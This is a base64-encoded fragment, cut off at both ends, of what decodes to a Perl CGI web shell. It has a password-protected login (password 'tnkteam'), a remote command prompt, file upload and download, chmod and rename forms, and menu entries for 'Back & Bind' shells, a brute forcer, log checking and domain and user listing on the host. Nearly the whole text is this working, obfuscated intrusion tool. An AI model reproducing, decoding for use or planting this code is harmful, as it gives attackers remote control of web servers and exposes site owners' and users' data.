GV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRFbmNvZGVDdXJyZW50RGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsKfQpmdW5jdGlvbiBybV9jaG1vZF9mb3JtKHJlc3BvbnNlLGkscGVybXMsZmlsZSkKewoJcmVzcG9uc2UuaW5uZXJIVE1MID0gIjxzcGFuIG9uY2xpY2s9XFxcImNobW9kX2Zvcm0oIiArIGkgKyAiLCciKyBmaWxlKyAiJylcXFwiID4iKyBwZXJtcyArIjwvc3Bhbj48L3RkPiI7Cn0KZnVuY3Rpb24gcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIHZhbHVlPU9LPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYmFjayArICInIHZhbHVlPUNhbmNlbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRFbmNvZGVDdXJyZW50RGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsKfQpmdW5jdGlvbiBybV9yZW5hbWVfZm9ybShpLGZpbGUsZikKewoJaWYoZj09J2YnKQoJewoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JEVuY29kZUN1cnJlbnREaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsKCX1lbHNlCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOwoJfQp9Cjwvc2NyaXB0Pgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGNlbnRlcj48Y29kZT4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTM+CgkJPGI+PGZvbnQgc2l6ZT0iMyI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4KCTwvdGQ+Cgk8dGQ+CgkJJGluZm8KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSJyZWQiPiAkRU5WeydTRVJWRVJfQUREUid9PC9mb250PiB8IFlvdXIgSVA6IDxmb250IGNvbG9yPSJyZWQiPiRFTlZ7J1JFTU9URV9BRERSJ308L2ZvbnQ+Cgk8L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uIj5Ib21lPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jb21tYW5kJmQ9JEVuY29kZUN1cnJlbnREaXIiPkNvbW1hbmQ8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Z3VpJmQ9JEVuY29kZUN1cnJlbnREaXIiPkdVSTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZUN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwKPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9Ii4uL2Vycm9yX2xvZy5waHAiPkhlbHA8L2E+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiPgokaWQKPC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNGRkZGRkYiID4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5TY3JlZW4KewoJcHJpbnQgPDxFTkQ7CjxwcmU+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpUeXBpbmdUZXh0ID0gZnVuY3Rpb24oZWxlbWVudCwgaW50ZXJ2YWwsIGN1cnNvciwgZmluaXNoZWRDYWxsYmFjaykgewogIGlmKCh0eXBlb2YgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQgPT0gInVuZGVmaW5lZCIpIHx8ICh0eXBlb2YgZWxlbWVudC5pbm5lckhUTUwgPT0gInVuZGVmaW5lZCIpKSB7CiAgICB0aGlzLnJ1bm5pbmcgPSB0cnVlOwkvLyBOZXZlciBydW4uCiAgICByZXR1cm47CiAgfQogIHRoaXMuZWxlbWVudCA9IGVsZW1lbnQ7CiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7CiAgdGhpcy5pbnRlcnZhbCA9ICh0eXBlb2YgaW50ZXJ2YWwgPT0gInVuZGVmaW5lZCIgPyAxMDAgOiBpbnRlcnZhbCk7CiAgdGhpcy5vcmlnVGV4dCA9IHRoaXMuZWxlbWVudC5pbm5lckhUTUw7CiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsKICB0aGlzLmN1cnNvciA9IChjdXJzb3IgPyBjdXJzb3IgOiAiIik7CiAgdGhpcy5jdXJyZW50VGV4dCA9ICIiOwogIHRoaXMuY3VycmVudENoYXIgPSAwOwogIHRoaXMuZWxlbWVudC50eXBpbmdUZXh0ID0gdGhpczsKICBpZih0aGlzLmVsZW1lbnQuaWQgPT0gIiIpIHRoaXMuZWxlbWVudC5pZCA9ICJ0eXBpbmd0ZXh0IiArIFR5cGluZ1RleHQuY3VycmVudEluZGV4Kys7CiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsKICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsKICB0aGlzLmluVGFnID0gZmFsc2U7CiAgdGhpcy50YWdCdWZmZXIgPSAiIjsKICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICIiOwp9ClR5cGluZ1RleHQuYWxsID0gbmV3IEFycmF5KCk7ClR5cGluZ1RleHQuY3VycmVudEluZGV4ID0gMDsKVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsKICBmb3IodmFyIGkgPSAwOyBpIDwgVHlwaW5nVGV4dC5hbGwubGVuZ3RoOyBpKyspIFR5cGluZ1RleHQuYWxsW2ldLnJ1bigpOwp9ClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgewogIGlmKHRoaXMucnVubmluZykgcmV0dXJuOwogIGlmKHR5cGVvZiB0aGlzLm9yaWdUZXh0ID09ICJ1bmRlZmluZWQiKSB7CiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CS8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuICBIYXZlIHBhdGllbmNlLgogICAgcmV0dXJuOwogIH0KICBpZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7Ci8vICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dC5yZXBsYWNlKC88KFtePF0pKj4vLCAiIik7ICAgICAvLyBTdHJpcCBIVE1MIGZyb20gdGV4dC4KICBpZih0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGgpIHsKICAgIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI8IiAmJiAhdGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciA9ICI8IjsKICAgICAgdGhpcy5pblRhZyA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyICs9ICI+IjsKICAgICAgdGhpcy5pblRhZyA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICImIjsKICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSB0cnVlOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9ICI7IjsKICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgewogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgfQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9IHRoaXMuY3VycmVudFRleHQ7CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MICs9ICh0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGggLSAxID8gKHR5cGVvZiB0aGlzLmN1cnNvciA9PSAiZnVuY3Rpb24iID8gdGhpcy5jdXJzb3IodGhpcy5jdXJyZW50VGV4dCkgOiB0aGlzLmN1cnNvcikgOiAiIik7CiAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CiAgfSBlbHNlIHsKCXRoaXMuY3VycmVudFRleHQgPSAiIjsKCXRoaXMuY3VycmVudENoYXIgPSAwOwogICAgICAgIHRoaXMucnVubmluZyA9IGZhbHNlOwogICAgICAgIHRoaXMuZmluaXNoZWRDYWxsYmFjaygpOwogIH0KfQo8L3NjcmlwdD4KPC9wcmU+Cgo8YnI+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+Cm5ldyBUeXBpbmdUZXh0KGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJoYWNrIiksIDMwLCBmdW5jdGlvbihpKXsgdmFyIGFyID0gbmV3IEFycmF5KCJfIiwiIik7IHJldHVybiAiICIgKyBhcltpLmxlbmd0aCAlIGFyLmxlbmd0aF07IH0pOwpUeXBpbmdUZXh0LnJ1bkFsbCgpOwoKPC9zY3JpcHQ+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBlbmNvZGUgaHRtbCBzcGVjaWFsIGNoYXJzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFVybEVuY29kZSgkKXsKCW15ICRzdHIgPSBzaGlmdDsKCSRzdHIgPX4gcy8oW15BLVphLXowLTldKS9zcHJpbnRmKCIlJSUwMlgiLCBvcmQoJDEpKS9zZWc7CglyZXR1cm4gJHN0cjsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQWRkIGh0bWwgc3BlY2lhbCBjaGFycwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBIdG1sU3BlY2lhbENoYXJzKCQpewoJbXkgJHRleHQgPSBzaGlmdDsKCSR0ZXh0ID1+IHMvJi8mYW1wOy9nOwoJJHRleHQgPX4gcy8iLyZxdW90Oy9nOwoJJHRleHQgPX4gcy8nLyYjMDM5Oy9nOwoJJHRleHQgPX4gcy88LyZsdDsvZzsKCSR0ZXh0ID1+IHMvPi8mZ3Q7L2c7CglyZXR1cm4gJHRleHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQWRkTGlua0RpcigkKQp7CglteSAkYWM9c2hpZnQ7CglteSBAZGlyPSgpOwoJaWYoJFdpbk5UKQoJewoJCUBkaXI9c3BsaXQoL1xcLywkQ3VycmVudERpcik7Cgl9ZWxzZQoJewoJCUBkaXI9c3BsaXQoIi8iLCZ0cmltKCRDdXJyZW50RGlyKSk7Cgl9CglteSAkcGF0aD0iIjsKCW15ICRyZXN1bHQ9IiI7Cglmb3JlYWNoIChAZGlyKQoJewoJCSRwYXRoIC49ICRfLiRQYXRoU2VwOwoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii5lbmNvZGVfYmFzZTY0KCRwYXRoKS4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlCnsKCXByaW50IDw8RU5EOwoKClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8YnI+Cgk8Zm9udCBjb2xvcj1yZWQ+PTwvZm9udD48Zm9udCBjb2xvcj1yZWQ+LS0tJmd0OyogIDxmb250IGNvbG9yPSNmZjk5MDA+UGFzcyA9IHRua3RlYW0gPC9mb250PiAgKiZsdDstLS09PC9mb250PjwvY29kZT4KPC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOwp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQojIHZhcmlhYmxlICRDb29raWVzeycnfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBHZXRDb29raWVzCnsKCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7Cglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQoJewoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsKCQkkQ29va2llc3skaWR9ID0gJHZhbDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBzY3JlZW4gd2hlbiB0aGUgdXNlciBsb2dzIG91dAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ291dFNjcmVlbgp7CglwcmludCAiQ29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgoJJlByaW50TG9naW5TY3JlZW47CgkmUHJpbnRMb2dpbkZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwoJZXhpdDsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQKIyBkaXNwbGF5cyBhIHBhZ2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQgZG9lbnMndAojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcgojIHRvIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFBlcmZvcm1Mb2dpbiAKewoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBhc3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQKCXsKCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOwoJCSZQcmludFBhZ2VIZWFkZXI7CgkJcHJpbnQgJkxpc3REaXI7Cgl9CgllbHNlICMgcGFzc3dvcmQgZGlkbid0IG1hdGNoCgl7CgkJJlByaW50UGFnZUhlYWRlcigicCIpOwoJCSZQcmludExvZ2luU2NyZWVuOwoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQKCQl7CgkJCSZQcmludExvZ2luRmFpbGVkTWVzc2FnZTsKCgkJfQoJCSZQcmludExvZ2luRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCWV4aXQ7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiIgb25TdWJtaXQ9IkVuY29kZXIoJ2MnKSI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyIgaWQ9ImMiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb